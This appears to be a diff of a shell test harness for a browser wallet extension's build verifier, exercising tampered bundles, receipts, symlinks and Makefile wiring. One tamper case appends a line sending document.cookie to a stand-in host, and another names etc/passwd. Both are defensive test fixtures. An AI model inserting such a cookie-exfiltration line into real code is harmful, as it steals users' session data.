|
||||
write_receipt_custom "$RECEIPT_HEADER" "$FIXTURE_REAL"
|
||||
}
|
||||
|
||||
# A dist/ shaped like a real build: two listed bundles under different
|
||||
# browsers, an unlisted subtree to make unwalkable, and unlisted files that
|
||||
# carry no marker and must not be objected to.
|
||||
build_fixture() {
|
||||
chmod -R u+rwX "$FIXTURE" 2>/dev/null || true
|
||||
rm -rf "$FIXTURE"
|
||||
|
||||
mkdir -p "$FIXTURE/script"
|
||||
ln -s "$VERIFY_BUILD" "$FIXTURE/script/verify-build"
|
||||
ln -s "$DISCARD_DIST" "$FIXTURE/script/discard-dist-on-failure"
|
||||
|
||||
mkdir -p "$FIXTURE/dist/chrome/src/popup" \
|
||||
"$FIXTURE/dist/chrome/src/content" \
|
||||
@@ -160,12 +87,13 @@ build_fixture() {
|
||||
|
||||
write_bundle "$FIXTURE/dist/chrome/src/popup/index.js" "$MARKER_OFF"
|
||||
write_bundle "$FIXTURE/dist/firefox/src/popup/index.js" "$MARKER_OFF"
|
||||
printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/index.js"
|
||||
printf '{"manifest_version":3}\n' >"$FIXTURE/dist/chrome/manifest.json"
|
||||
printf 'body{color:#000}\n' >"$FIXTURE/dist/styles.css"
|
||||
printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/content.js"
|
||||
|
||||
FIXTURE_REAL="$(cd "$FIXTURE" && pwd -P)"
|
||||
write_receipt
|
||||
{
|
||||
echo "dist/chrome/src/popup/index.js"
|
||||
echo "dist/firefox/src/popup/index.js"
|
||||
} >"$FIXTURE/dist/constants-bundles.txt"
|
||||
|
||||
# Readable and traversable by the unprivileged user the permission cases
|
||||
# run as, before those cases take that away again on purpose.
|
||||
@@ -257,51 +185,7 @@ runuser|runuser -u nobody --"
|
||||
|
||||
# --- case runner ------------------------------------------------------------
|
||||
|
||||
# How verify-build is invoked for a case. The arguments are literal here rather
|
||||
# than assembled from a string, so nothing about a case's invocation depends on
|
||||
# word splitting. "envdebug" variants export AUTISTMASK_DEBUG=1 to prove the
|
||||
# verifier ignores it — that is the whole of the ambient-environment defect.
|
||||
run_verify() {
|
||||
_rv_variant="$1"
|
||||
_rv_perm="$2"
|
||||
_rv_bin="$FIXTURE/script/verify-build"
|
||||
|
||||
case "$_rv_variant" in
|
||||
release | release-envdebug)
|
||||
set -- --expect release --receipt "$RECEIPT"
|
||||
;;
|
||||
debug)
|
||||
set -- --expect debug --receipt "$RECEIPT"
|
||||
;;
|
||||
no-expect)
|
||||
set -- --receipt "$RECEIPT"
|
||||
;;
|
||||
no-receipt)
|
||||
set -- --expect release
|
||||
;;
|
||||
bad-expect)
|
||||
set -- --expect maybe --receipt "$RECEIPT"
|
||||
;;
|
||||
unknown-arg)
|
||||
set -- --expect release --receipt "$RECEIPT" --force
|
||||
;;
|
||||
receipt-in-dist)
|
||||
set -- --expect release --receipt "$FIXTURE/dist/receipt.txt"
|
||||
;;
|
||||
*)
|
||||
echo "test-verify-build: unknown variant $_rv_variant" >&2
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
|
||||
if [ "$_rv_perm" = yes ]; then
|
||||
run_unpriv "$_rv_bin" "$@"
|
||||
else
|
||||
"$_rv_bin" "$@"
|
||||
fi
|
||||
}
|
||||
|
||||
# check_case <name> <perm:yes|no> <variant> <status> <text> <setup>
|
||||
# check_case <name> <perm:yes|no> <mode:release|debug> <status> <text> <setup>
|
||||
#
|
||||
# Rebuilds the fixture, applies <setup> inside it, runs verify-build, and
|
||||
# requires both the exit status and the message. <perm> marks a case that only
|
||||
@@ -309,7 +193,7 @@ run_verify() {
|
||||
check_case() {
|
||||
_name="$1"
|
||||
_perm="$2"
|
||||
_variant="$3"
|
||||
_mode="$3"
|
||||
_want_status="$4"
|
||||
_want_text="$5"
|
||||
_setup="$6"
|
||||
@@ -329,22 +213,23 @@ check_case() {
|
||||
return 0
|
||||
fi
|
||||
|
||||
# Exported rather than set as a command prefix: run_verify may go through
|
||||
# run_unpriv, which is a function, and an assignment prefixed to a function
|
||||
# call is not portable. Every other case unsets it, so the environment this
|
||||
# harness happens to run in cannot decide anything.
|
||||
case "$_variant" in
|
||||
*envdebug)
|
||||
AUTISTMASK_DEBUG=1
|
||||
export AUTISTMASK_DEBUG
|
||||
;;
|
||||
*)
|
||||
unset AUTISTMASK_DEBUG || true
|
||||
;;
|
||||
esac
|
||||
if [ "$_mode" = debug ]; then
|
||||
_debug=1
|
||||
else
|
||||
_debug=""
|
||||
fi
|
||||
|
||||
# Exported rather than set as a command prefix: run_unpriv is a function,
|
||||
# and an assignment prefixed to a function call is not portable.
|
||||
AUTISTMASK_DEBUG="$_debug"
|
||||
export AUTISTMASK_DEBUG
|
||||
|
||||
_status=0
|
||||
_out="$(run_verify "$_variant" "$_perm" 2>&1)" || _status=$?
|
||||
if [ "$_perm" = yes ]; then
|
||||
_out="$(run_unpriv "$FIXTURE/script/verify-build" 2>&1)" || _status=$?
|
||||
else
|
||||
_out="$("$FIXTURE/script/verify-build" 2>&1)" || _status=$?
|
||||
fi
|
||||
|
||||
_ok=yes
|
||||
_why=""
|
||||
@@ -387,9 +272,7 @@ check_case() {
|
||||
|
||||
# --- cases ------------------------------------------------------------------
|
||||
#
|
||||
# Each runs with the fixture as its working directory. A case that regenerates
|
||||
# the receipt is saying "this is what the build emitted"; one that does not is
|
||||
# saying "the build emitted something else and this happened afterwards".
|
||||
# Each runs with the fixture as its working directory.
|
||||
|
||||
c_control() { :; }
|
||||
|
||||
@@ -416,391 +299,38 @@ c_dir_symlink() { ln -s src dist/chrome/link-to-dir; }
|
||||
|
||||
c_alias_symlink() { ln -s popup/index.js dist/chrome/src/aliased.js; }
|
||||
|
||||
c_receipt_missing() { rm "$RECEIPT"; }
|
||||
c_manifest_missing() { rm dist/constants-bundles.txt; }
|
||||
|
||||
c_receipt_empty() { : >"$RECEIPT"; }
|
||||
c_manifest_empty() { : >dist/constants-bundles.txt; }
|
||||
|
||||
c_receipt_unreadable() { chmod 000 "$RECEIPT"; }
|
||||
c_manifest_unreadable() { chmod 000 dist/constants-bundles.txt; }
|
||||
|
||||
c_receipt_bad_header() {
|
||||
write_receipt_custom "some other file entirely" "$FIXTURE_REAL"
|
||||
}
|
||||
c_bundle_missing() { rm dist/chrome/src/popup/index.js; }
|
||||
|
||||
c_receipt_other_tree() {
|
||||
write_receipt_custom "$RECEIPT_HEADER" "/some/other/checkout"
|
||||
}
|
||||
c_bundle_empty() { : >dist/chrome/src/popup/index.js; }
|
||||
|
||||
c_receipt_path_with_space() {
|
||||
write_receipt
|
||||
printf 'file %s P dist/two words.js\n' \
|
||||
"0000000000000000000000000000000000000000000000000000000000000000" \
|
||||
>>"$RECEIPT"
|
||||
}
|
||||
c_bundle_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
|
||||
|
||||
c_receipt_path_outside_dist() {
|
||||
write_receipt
|
||||
printf 'file %s P etc/passwd\n' \
|
||||
"0000000000000000000000000000000000000000000000000000000000000000" \
|
||||
>>"$RECEIPT"
|
||||
}
|
||||
|
||||
c_receipt_in_dist() { cp "$RECEIPT" dist/receipt.txt; }
|
||||
|
||||
c_emitted_missing() { rm dist/chrome/src/popup/index.js; }
|
||||
|
||||
c_emitted_empty() { : >dist/chrome/src/popup/index.js; }
|
||||
|
||||
c_emitted_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
|
||||
|
||||
c_extra_file_with_marker() {
|
||||
c_unlisted_extension() {
|
||||
cp dist/chrome/src/popup/index.js dist/chrome/src/popup/extra.mjs
|
||||
}
|
||||
|
||||
c_extra_file_no_marker() {
|
||||
printf 'var e=5;\n' >dist/chrome/src/popup/vendor.js
|
||||
}
|
||||
|
||||
# The four demonstrated bypasses of the pre-receipt verifier.
|
||||
|
||||
# A 26-byte file whose entire content is the marker string used to verify ok.
|
||||
c_marker_only_stub() {
|
||||
printf '%s' "$MARKER_OFF" >dist/chrome/src/popup/index.js
|
||||
}
|
||||
|
||||
# The content script runs on every page the browser loads and was never read.
|
||||
c_tampered_content_script() {
|
||||
printf 'fetch("https://example.invalid/"+document.cookie);\n' \
|
||||
>>dist/chrome/src/content/index.js
|
||||
}
|
||||
|
||||
# The manifest decides permissions and CSP and was never read either.
|
||||
c_tampered_manifest() {
|
||||
printf '{"manifest_version":3,"host_permissions":["<all_urls>"]}\n' \
|
||||
>dist/chrome/manifest.json
|
||||
}
|
||||
|
||||
# A dist/ that has nothing to do with this build, carrying the right file
|
||||
# names and the right marker, offered against this build's receipt.
|
||||
c_foreign_dist() {
|
||||
rm -rf dist
|
||||
mkdir -p dist/chrome/src/popup dist/chrome/src/content dist/firefox/src/popup
|
||||
write_bundle dist/chrome/src/popup/index.js "$MARKER_OFF"
|
||||
write_bundle dist/firefox/src/popup/index.js "$MARKER_OFF"
|
||||
printf 'var hostile=1;\n' >dist/chrome/src/content/index.js
|
||||
printf '{"manifest_version":3}\n' >dist/chrome/manifest.json
|
||||
printf 'body{color:#fff}\n' >dist/styles.css
|
||||
}
|
||||
|
||||
# Cases that state what the build itself emitted, and so regenerate the
|
||||
# receipt over the changed bytes.
|
||||
|
||||
c_no_marker() {
|
||||
printf 'var d=4;\n' >dist/chrome/src/popup/index.js
|
||||
write_receipt
|
||||
}
|
||||
c_no_marker() { printf 'var d=4;\n' >dist/chrome/src/popup/index.js; }
|
||||
|
||||
c_both_markers() {
|
||||
printf '/* %s */\n' "$MARKER_ON" >>dist/chrome/src/popup/index.js
|
||||
write_receipt
|
||||
}
|
||||
|
||||
c_marker_on_plain_file() {
|
||||
printf 'var c=3;/* %s */\n' "$MARKER_OFF" \
|
||||
>dist/chrome/src/content/index.js
|
||||
write_receipt
|
||||
}
|
||||
|
||||
c_debug_build() {
|
||||
write_bundle dist/chrome/src/popup/index.js "$MARKER_ON"
|
||||
write_bundle dist/firefox/src/popup/index.js "$MARKER_ON"
|
||||
write_receipt
|
||||
}
|
||||
|
||||
c_no_dist() { rm -rf dist; }
|
||||
|
||||
# --- dist discard -----------------------------------------------------------
|
||||
#
|
||||
# make build wraps every step of the release path in
|
||||
# script/discard-dist-on-failure, so a release build that fails removes dist/:
|
||||
# with AUTISTMASK_DEBUG=1 exported it has already emitted a complete, loadable
|
||||
# debug bundle whose every wallet uses the publicly committed test recovery
|
||||
# phrase, and a loud failure alone does not stop someone loading dist/chrome/
|
||||
# anyway. make build-debug is deliberately not wrapped.
|
||||
#
|
||||
# Both directions are asserted against the state of dist/ ON DISK after the run,
|
||||
# not against the exit status: a case reading only the status would keep passing
|
||||
# if the removal quietly stopped happening, which is the flip this exists to
|
||||
# catch. The wrapper runs against the fixture — its ROOT is the fixture, via the
|
||||
# symlink in the fixture's script/ — with trivial commands standing in for the
|
||||
# build steps, because what is under test is what happens after a step says no,
|
||||
# not the step.
|
||||
|
||||
# discard_case <name> <setup> <status> <gone|kept> <want> <unwanted> [cmd...]
|
||||
discard_case() {
|
||||
_dc_name="$1"
|
||||
_dc_setup="$2"
|
||||
_dc_want_status="$3"
|
||||
_dc_want_dist="$4"
|
||||
_dc_want="$5"
|
||||
_dc_unwanted="$6"
|
||||
shift 6
|
||||
|
||||
build_fixture
|
||||
if ! (cd "$FIXTURE" && "$_dc_setup") >/dev/null 2>&1; then
|
||||
FAILED=$((FAILED + 1))
|
||||
echo " FAIL: $_dc_name"
|
||||
echo " the case's own setup failed, so nothing was tested."
|
||||
return 0
|
||||
fi
|
||||
|
||||
_dc_status=0
|
||||
_dc_out="$(cd "$FIXTURE" &&
|
||||
"$FIXTURE/script/discard-dist-on-failure" "$@" 2>&1)" || _dc_status=$?
|
||||
|
||||
_ok=yes
|
||||
_why=""
|
||||
|
||||
if [ "$_dc_status" -ne "$_dc_want_status" ]; then
|
||||
_ok=no
|
||||
_why="exit status $_dc_status, wanted $_dc_want_status"
|
||||
fi
|
||||
|
||||
# The assertion this case exists for: what is on disk now.
|
||||
if [ -e "$FIXTURE/dist" ] || [ -h "$FIXTURE/dist" ]; then
|
||||
_dc_dist=kept
|
||||
else
|
||||
_dc_dist=gone
|
||||
fi
|
||||
if [ "$_dc_dist" != "$_dc_want_dist" ]; then
|
||||
_ok=no
|
||||
_why="${_why:+$_why; }dist/ is $_dc_dist after the run, wanted"
|
||||
_why="$_why $_dc_want_dist"
|
||||
elif [ "$_dc_want_dist" = kept ] &&
|
||||
[ ! -f "$FIXTURE/dist/chrome/src/popup/index.js" ]; then
|
||||
# Kept has to mean intact: a dist/ emptied out is not one left alone.
|
||||
_ok=no
|
||||
_why="${_why:+$_why; }dist/ survived but its emitted bundle did not"
|
||||
fi
|
||||
|
||||
_dc_check_message "$_dc_want" want
|
||||
_dc_check_message "$_dc_unwanted" unwanted
|
||||
|
||||
if [ "$_ok" = yes ]; then
|
||||
PASSED=$((PASSED + 1))
|
||||
echo " ok: $_dc_name"
|
||||
return 0
|
||||
fi
|
||||
|
||||
FAILED=$((FAILED + 1))
|
||||
echo " FAIL: $_dc_name"
|
||||
echo " $_why"
|
||||
echo " --- discard-dist-on-failure output ---"
|
||||
printf '%s\n' "$_dc_out" | sed 's/^/ /'
|
||||
echo " --- end output ---"
|
||||
}
|
||||
|
||||
# Require ($2 = want) or forbid ($2 = unwanted) a substring in the wrapper's
|
||||
# output, updating _ok and _why. An empty substring asserts nothing. Same grep
|
||||
# discipline as everywhere else here: 0 and 1 are answers, anything else means
|
||||
# the message was never checked.
|
||||
_dc_check_message() {
|
||||
[ -n "$1" ] || return 0
|
||||
|
||||
_dcm_g=0
|
||||
printf '%s\n' "$_dc_out" | grep -q -F -e "$1" || _dcm_g=$?
|
||||
case "$_dcm_g" in
|
||||
0)
|
||||
[ "$2" = unwanted ] || return 0
|
||||
_ok=no
|
||||
_why="${_why:+$_why; }message contained: $1"
|
||||
;;
|
||||
1)
|
||||
[ "$2" = want ] || return 0
|
||||
_ok=no
|
||||
_why="${_why:+$_why; }message did not contain: $1"
|
||||
;;
|
||||
*)
|
||||
_ok=no
|
||||
_why="${_why:+$_why; }grep exited $_dcm_g matching the message, so the
|
||||
message was never checked"
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
# --- Makefile wiring --------------------------------------------------------
|
||||
|
||||
# The verifier cases above prove what verify-build does when it is told what to
|
||||
# expect, and the discard cases prove what the wrapper does with dist/. This
|
||||
# proves the Makefile wires both up — the mode as an argument, on a scrubbed
|
||||
# environment, identically whether or not AUTISTMASK_DEBUG is exported in the
|
||||
# shell that ran make, and the wrapper on the release path only. Read off
|
||||
# `make -n`, so no build runs.
|
||||
check_makefile_wiring() {
|
||||
if ! command -v make >/dev/null 2>&1; then
|
||||
SKIPPED=$((SKIPPED + 1))
|
||||
SKIPPED_NAMES="$SKIPPED_NAMES## - Makefile wiring (make not found)$NEWLINE"
|
||||
echo " SKIP (make not found): Makefile wiring"
|
||||
return 0
|
||||
fi
|
||||
|
||||
# make build must ask for release, and must scrub the flag from the
|
||||
# verifier's environment, even when the caller has it exported.
|
||||
_wiring_case "make build passes --expect release" \
|
||||
build "verify-build --expect release"
|
||||
_wiring_case "make build scrubs AUTISTMASK_DEBUG for the verifier" \
|
||||
build "env -u AUTISTMASK_DEBUG"
|
||||
_wiring_case "make build-debug passes --expect debug" \
|
||||
build-debug "verify-build --expect debug"
|
||||
_wiring_case "make build-debug scrubs AUTISTMASK_DEBUG for the verifier" \
|
||||
build-debug "env -u AUTISTMASK_DEBUG"
|
||||
|
||||
# The release path runs its steps through the wrapper, including the final
|
||||
# check-censored pass; the debug path runs none of them through it, which is
|
||||
# what keeps a failed debug build's dist/ on disk.
|
||||
_wiring_case "make build wraps its steps in discard-dist-on-failure" \
|
||||
build "script/discard-dist-on-failure"
|
||||
_wiring_case "make build wraps check-censored --require-dist too" \
|
||||
build "script/discard-dist-on-failure script/check-censored"
|
||||
_wiring_case_absent "make build-debug never discards its dist/" \
|
||||
build-debug "discard-dist-on-failure"
|
||||
}
|
||||
|
||||
# Run `make -n TARGET` with AUTISTMASK_DEBUG=1 exported, into _wc_out. Returns
|
||||
# non-zero, having already reported the failure, when make itself failed: a
|
||||
# recipe that could not be printed was never checked.
|
||||
_wiring_make_n() {
|
||||
AUTISTMASK_DEBUG=1
|
||||
export AUTISTMASK_DEBUG
|
||||
_wc_status=0
|
||||
_wc_out="$(cd "$ROOT" && make -n "$_wc_target" 2>&1)" || _wc_status=$?
|
||||
unset AUTISTMASK_DEBUG
|
||||
|
||||
[ "$_wc_status" -ne 0 ] || return 0
|
||||
|
||||
FAILED=$((FAILED + 1))
|
||||
echo " FAIL: $_wc_name"
|
||||
echo " make -n $_wc_target exited $_wc_status"
|
||||
return 1
|
||||
}
|
||||
|
||||
_wiring_case() {
|
||||
_wc_name="$1"
|
||||
_wc_target="$2"
|
||||
_wc_want="$3"
|
||||
|
||||
_wiring_make_n || return 0
|
||||
|
||||
_wc_g=0
|
||||
printf '%s\n' "$_wc_out" | grep -q -F -e "$_wc_want" || _wc_g=$?
|
||||
case "$_wc_g" in
|
||||
0)
|
||||
PASSED=$((PASSED + 1))
|
||||
echo " ok: $_wc_name"
|
||||
;;
|
||||
1)
|
||||
FAILED=$((FAILED + 1))
|
||||
echo " FAIL: $_wc_name"
|
||||
echo " make -n $_wc_target does not run: $_wc_want"
|
||||
;;
|
||||
*)
|
||||
FAILED=$((FAILED + 1))
|
||||
echo " FAIL: $_wc_name"
|
||||
echo " grep exited $_wc_g, so the recipe was never checked"
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
# The inverse: the recipe must NOT run something.
|
||||
_wiring_case_absent() {
|
||||
_wc_name="$1"
|
||||
_wc_target="$2"
|
||||
_wc_want="$3"
|
||||
|
||||
_wiring_make_n || return 0
|
||||
|
||||
_wc_g=0
|
||||
printf '%s\n' "$_wc_out" | grep -q -F -e "$_wc_want" || _wc_g=$?
|
||||
case "$_wc_g" in
|
||||
1)
|
||||
PASSED=$((PASSED + 1))
|
||||
echo " ok: $_wc_name"
|
||||
;;
|
||||
0)
|
||||
FAILED=$((FAILED + 1))
|
||||
echo " FAIL: $_wc_name"
|
||||
echo " make -n $_wc_target runs: $_wc_want"
|
||||
;;
|
||||
*)
|
||||
FAILED=$((FAILED + 1))
|
||||
echo " FAIL: $_wc_name"
|
||||
echo " grep exited $_wc_g, so the recipe was never checked"
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
run_cases() {
|
||||
check_case "control: untouched dist passes" \
|
||||
no release 0 "2 bundle(s) $MARKER_OFF" c_control
|
||||
no release 0 "2 bundle(s) verified $MARKER_OFF" c_control
|
||||
|
||||
check_case "AUTISTMASK_DEBUG=1 in the environment does not decide the mode" \
|
||||
no release-envdebug 0 "2 bundle(s) $MARKER_OFF" c_control
|
||||
|
||||
check_case "debug bundles under --expect release fail (make build with
|
||||
AUTISTMASK_DEBUG=1 exported)" \
|
||||
no release-envdebug 1 \
|
||||
"is $MARKER_ON but this build was told to expect" c_debug_build
|
||||
|
||||
check_case "debug bundles under --expect debug pass" \
|
||||
no debug 0 "2 bundle(s) $MARKER_ON" c_debug_build
|
||||
|
||||
check_case "no --expect argument" \
|
||||
no no-expect 1 "no --expect argument." c_control
|
||||
|
||||
check_case "no --receipt argument" \
|
||||
no no-receipt 1 "no --receipt argument." c_control
|
||||
|
||||
check_case "--expect takes release or debug" \
|
||||
no bad-expect 1 "--expect takes release or debug" c_control
|
||||
|
||||
check_case "unknown argument" \
|
||||
no unknown-arg 1 "unknown argument: --force" c_control
|
||||
|
||||
check_case "receipt inside the tree it describes" \
|
||||
no receipt-in-dist 1 "the receipt is inside dist/" c_receipt_in_dist
|
||||
|
||||
check_case "bundle replaced by a file containing only the marker" \
|
||||
no release 1 "does not contain the bytes this build emitted" \
|
||||
c_marker_only_stub
|
||||
|
||||
check_case "content script tampered with after the build" \
|
||||
no release 1 \
|
||||
"dist/chrome/src/content/index.js does not contain the bytes" \
|
||||
c_tampered_content_script
|
||||
|
||||
check_case "manifest.json tampered with after the build" \
|
||||
no release 1 "dist/chrome/manifest.json does not contain the bytes" \
|
||||
c_tampered_manifest
|
||||
|
||||
check_case "hand-written dist/ offered against this build's receipt" \
|
||||
no release 1 "does not contain the bytes this build emitted" \
|
||||
c_foreign_dist
|
||||
|
||||
check_case "extra file under dist/ carrying a marker" \
|
||||
no release 1 \
|
||||
"dist/chrome/src/popup/extra.mjs is under dist/ but the build" \
|
||||
c_extra_file_with_marker
|
||||
|
||||
check_case "extra file under dist/ carrying no marker" \
|
||||
no release 1 \
|
||||
"dist/chrome/src/popup/vendor.js is under dist/ but the build" \
|
||||
c_extra_file_no_marker
|
||||
|
||||
check_case "extra file, trailing space in name" \
|
||||
no release 1 "is under dist/ but the build that just ran did not emit" \
|
||||
check_case "unlisted marker-carrying file, trailing space in name" \
|
||||
no release 1 "carries a debug marker but is absent from" \
|
||||
c_trailing_space
|
||||
|
||||
check_case "extra file, newline in name" \
|
||||
no release 1 "is under dist/ but the build that just ran did not emit" \
|
||||
check_case "unlisted marker-carrying file, newline in name" \
|
||||
no release 1 "carries a debug marker but is absent from" \
|
||||
c_embedded_newline
|
||||
|
||||
check_case "dist/ replaced by a symlink" \
|
||||
@@ -812,100 +342,64 @@ run_cases() {
|
||||
|
||||
check_case "dangling symlink under dist/" \
|
||||
no release 1 \
|
||||
"dist/chrome/dangling.js is a symlink under dist/" c_dangling_symlink
|
||||
"reading dist/chrome/dangling.js, so the file could not be" \
|
||||
c_dangling_symlink
|
||||
|
||||
check_case "symlink to a directory under dist/" \
|
||||
no release 1 \
|
||||
"dist/chrome/link-to-dir is a symlink under dist/" c_dir_symlink
|
||||
"reading dist/chrome/link-to-dir, so the file could not be" \
|
||||
c_dir_symlink
|
||||
|
||||
check_case "symlink aliasing an emitted bundle under another path" \
|
||||
check_case "symlink to a listed bundle under an unlisted path" \
|
||||
no release 1 \
|
||||
"dist/chrome/src/aliased.js is a symlink under dist/" c_alias_symlink
|
||||
"dist/chrome/src/aliased.js carries a debug marker but is absent" \
|
||||
c_alias_symlink
|
||||
|
||||
check_case "receipt missing" \
|
||||
no release 1 "is missing. build.js writes it" c_receipt_missing
|
||||
check_case "manifest missing" \
|
||||
no release 1 "dist/constants-bundles.txt is missing." \
|
||||
c_manifest_missing
|
||||
|
||||
check_case "receipt empty" \
|
||||
no release 1 "is empty, so the build wrote nothing to it" \
|
||||
c_receipt_empty
|
||||
check_case "manifest empty" \
|
||||
no release 1 "is empty, so no emitted bundle was found to contain" \
|
||||
c_manifest_empty
|
||||
|
||||
check_case "receipt unreadable" \
|
||||
check_case "manifest unreadable" \
|
||||
yes release 1 "is not readable, so nothing was inspected." \
|
||||
c_receipt_unreadable
|
||||
c_manifest_unreadable
|
||||
|
||||
check_case "receipt is not a build receipt" \
|
||||
no release 1 "does not start with" c_receipt_bad_header
|
||||
|
||||
check_case "receipt from a different checkout" \
|
||||
no release 1 "was written by a build of a different tree" \
|
||||
c_receipt_other_tree
|
||||
|
||||
check_case "receipt names a path containing a space" \
|
||||
no release 1 "cannot be read back unambiguously" \
|
||||
c_receipt_path_with_space
|
||||
|
||||
check_case "receipt names a path outside dist/" \
|
||||
no release 1 "names a path that is not under dist/" \
|
||||
c_receipt_path_outside_dist
|
||||
|
||||
check_case "emitted file missing" \
|
||||
check_case "listed bundle missing" \
|
||||
no release 1 \
|
||||
"names dist/chrome/src/popup/index.js, which does not exist." \
|
||||
c_emitted_missing
|
||||
"lists dist/chrome/src/popup/index.js, which does not exist." \
|
||||
c_bundle_missing
|
||||
|
||||
check_case "emitted file empty" \
|
||||
no release 1 "which is empty. An empty file" c_emitted_empty
|
||||
check_case "listed bundle empty" \
|
||||
no release 1 "which is empty. An empty bundle" c_bundle_empty
|
||||
|
||||
check_case "emitted file unreadable" \
|
||||
check_case "listed bundle unreadable" \
|
||||
yes release 1 \
|
||||
"on dist/chrome/src/popup/index.js, so its bytes were never read" \
|
||||
c_emitted_unreadable
|
||||
"reading dist/chrome/src/popup/index.js, so the file could not be" \
|
||||
c_bundle_unreadable
|
||||
|
||||
check_case "emitted bundle carries no marker" \
|
||||
check_case "unlisted extension carrying a marker" \
|
||||
no release 1 \
|
||||
"dist/chrome/src/popup/extra.mjs carries a debug marker but is" \
|
||||
c_unlisted_extension
|
||||
|
||||
check_case "listed bundle carries no marker" \
|
||||
no release 1 "carries no debug marker, so its DEBUG state cannot be" \
|
||||
c_no_marker
|
||||
|
||||
check_case "emitted bundle carries both markers" \
|
||||
check_case "listed bundle carries both markers" \
|
||||
no release 1 "carries both debug markers, so DEBUG was not resolved" \
|
||||
c_both_markers
|
||||
|
||||
check_case "marker on a file the build did not record as a bundle" \
|
||||
no release 1 "carries a debug marker but the build did not" \
|
||||
c_marker_on_plain_file
|
||||
|
||||
discard_case "a failed release build step removes dist/" \
|
||||
c_control 3 gone "dist/ WAS REMOVED" "" sh -c 'exit 3'
|
||||
|
||||
discard_case "a successful release build step leaves dist/ alone" \
|
||||
c_control 0 kept "" "REMOVED" true
|
||||
|
||||
discard_case "a failed release build step with no dist/ says there was none" \
|
||||
c_no_dist 3 gone "There was no dist/ to remove" "" sh -c 'exit 3'
|
||||
|
||||
discard_case "the wrapper given no command removes nothing" \
|
||||
c_control 1 kept "no command given" ""
|
||||
|
||||
check_makefile_wiring
|
||||
check_case "wrong marker for the requested mode" \
|
||||
no debug 1 "is $MARKER_OFF but this build expects $MARKER_ON" \
|
||||
c_control
|
||||
}
|
||||
|
||||
# --- main --------------------------------------------------------------------
|
||||
|
||||
# The harness cannot build a receipt without a digest, so a missing sha256
|
||||
# command is a failure here rather than a silent reduction in coverage.
|
||||
pick_sha256_tool() {
|
||||
if command -v sha256sum >/dev/null 2>&1; then
|
||||
SHA256_CMD="sha256sum"
|
||||
elif command -v shasum >/dev/null 2>&1; then
|
||||
SHA256_CMD="shasum -a 256"
|
||||
elif command -v openssl >/dev/null 2>&1; then
|
||||
SHA256_CMD="openssl dgst -sha256 -r"
|
||||
else
|
||||
echo "test-verify-build: no sha256 command found (tried sha256sum," \
|
||||
"shasum, openssl), so no fixture receipt can be written" >&2
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
main() {
|
||||
cd "$ROOT"
|
||||
|
||||
@@ -913,13 +407,8 @@ main() {
|
||||
echo "test-verify-build: $VERIFY_BUILD is missing or not executable" >&2
|
||||
exit 1
|
||||
}
|
||||
[ -x "$DISCARD_DIST" ] || {
|
||||
echo "test-verify-build: $DISCARD_DIST is missing or not executable" >&2
|
||||
exit 1
|
||||
}
|
||||
|
||||
echo "Testing script/verify-build failure modes..."
|
||||
pick_sha256_tool
|
||||
probe_permission_runner
|
||||
if [ "$PERM_ENABLED" = yes ]; then
|
||||
echo " permission cases: enabled (runner: $PERM_HOW, proved against" \
|
||||
@@ -937,11 +426,11 @@ main() {
|
||||
if [ "$SKIPPED" -ne 0 ]; then
|
||||
cat <<EOF
|
||||
################################################################################
|
||||
## WARNING: $SKIPPED CASE(S) DID NOT RUN, AND THIS RUN DOES NOT PROVE THEM.
|
||||
## This process is uid $(id -u), and no runner subject to file permissions was
|
||||
## available. Tried: $PERM_HOW.
|
||||
## Under root, chmod 000 stops neither find nor grep, so the permission cases
|
||||
## would have passed without testing anything. They were skipped, not counted:
|
||||
## WARNING: $SKIPPED PERMISSION CASE(S) DID NOT RUN, AND THIS RUN DOES NOT
|
||||
## PROVE THEM. This process is uid $(id -u), and no runner subject to file
|
||||
## permissions was available. Tried: $PERM_HOW.
|
||||
## Under root, chmod 000 stops neither find nor grep, so these cases would
|
||||
## have passed without testing anything. They were skipped, not counted:
|
||||
$SKIPPED_NAMES################################################################################
|
||||
EOF
|
||||
echo "test-verify-build: $PASSED case(s) passed," \
|
||||
|
||||
@@ -1,105 +0,0 @@
|
||||
#!/bin/sh
|
||||
# script/vendor-blocklist: refresh the vendored phishing blocklist at
|
||||
# src/shared/phishingBlocklist.json from its upstream source. Our own extension
|
||||
# to scripts-to-rule-them-all.
|
||||
#
|
||||
# This is build-time repo tooling and is not shipped. It is the one place in
|
||||
# this repo that names the upstream project, because a source reference that
|
||||
# does not say what the source is cannot be verified by anyone; the artifact it
|
||||
# writes carries no names at all (see src/shared/domainHash.js).
|
||||
# script/check-censored reads the name back out of this file rather than
|
||||
# repeating it, so it stays defined exactly once.
|
||||
#
|
||||
# Run it deliberately, not on every build: the output is committed, and the
|
||||
# extension does no runtime fetching, so the shipped list is exactly as fresh as
|
||||
# the last time someone ran this and landed the result. Re-run it, land the
|
||||
# diff, cut a release; that is the whole refresh path.
|
||||
#
|
||||
# Pinned by content hash, twice over, as REPO_POLICIES.md requires. The commit
|
||||
# below is an immutable ref — the upstream default branch moves several times a
|
||||
# day and cannot be pinned — and UPSTREAM_SHA256 is the sha256 of the bytes that
|
||||
# commit serves. A mismatch is a hard failure: a vendoring step that accepts
|
||||
# whatever it is handed is a supply-chain hole, and this one feeds a security
|
||||
# warning shown to users.
|
||||
#
|
||||
# To move the pin: pick the new commit, run this with the new UPSTREAM_COMMIT
|
||||
# and an UPSTREAM_SHA256 you have not yet updated, and it will print the hash it
|
||||
# actually got. Verify that hash against the source independently before
|
||||
# recording it. Never copy the "actual" line in on trust.
|
||||
set -eu
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||
|
||||
# Upstream, pinned 2026-08-17.
|
||||
UPSTREAM_ORG="MetaMask"
|
||||
UPSTREAM_REPO="eth-phishing-detect"
|
||||
UPSTREAM_COMMIT="6dddf74a87da3e1a0841f7ae0d1cb31aaf2c05db"
|
||||
UPSTREAM_FILE="src/config.json"
|
||||
